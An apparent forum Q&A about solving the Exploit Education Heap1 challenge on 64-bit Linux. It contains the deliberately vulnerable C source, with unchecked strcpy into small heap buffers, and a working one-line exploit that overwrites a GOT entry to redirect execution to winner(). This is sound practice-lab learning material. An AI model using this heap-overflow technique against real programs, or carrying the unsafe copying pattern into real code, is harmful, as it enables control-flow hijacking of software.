Heap overflow - strcpy() on x86_64 (64bit)

Question

I'm stuck on the Heap1 challenge from Exploit Education.

After compiling the source code in a 64bit system, without any security mechanism, I try to overflow the heap in order to overwrite the main return address on the stack to control the program flow to the winner function.

I can't overwrite on the stack with the winner function address. Some characters are trailing.

Source

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Problem

Finding winner address:

Running payload

After crafting the payload and running the program I get a wrong value in the return address of main function.

What am I doing wrong?

Answer 1

Solved

I solved this issue with the following command:

./heap1 "$(python -c "print 'A'*40+'\x20\x40\x40'")" $(python -c "print '\x62\x11\x40'")

The problem was the address I wanted to overwrite with was 3 bytes of length and the original was 6 bytes of length so, because strcpy function can't copy null characters I had to use the GOT overwrite method and use the [email protected] function address which did fit with the winner function address.

Notice double quoting

Using GOT overwrite method, I faced another problem. The [email protected] address was

0x404020

Which in little endian is

\x20\x40\x40

The character \x20 in ASCII is the "<space>" character, so this made the first argument split in two parts. I fixed this surrounding it with double quotes.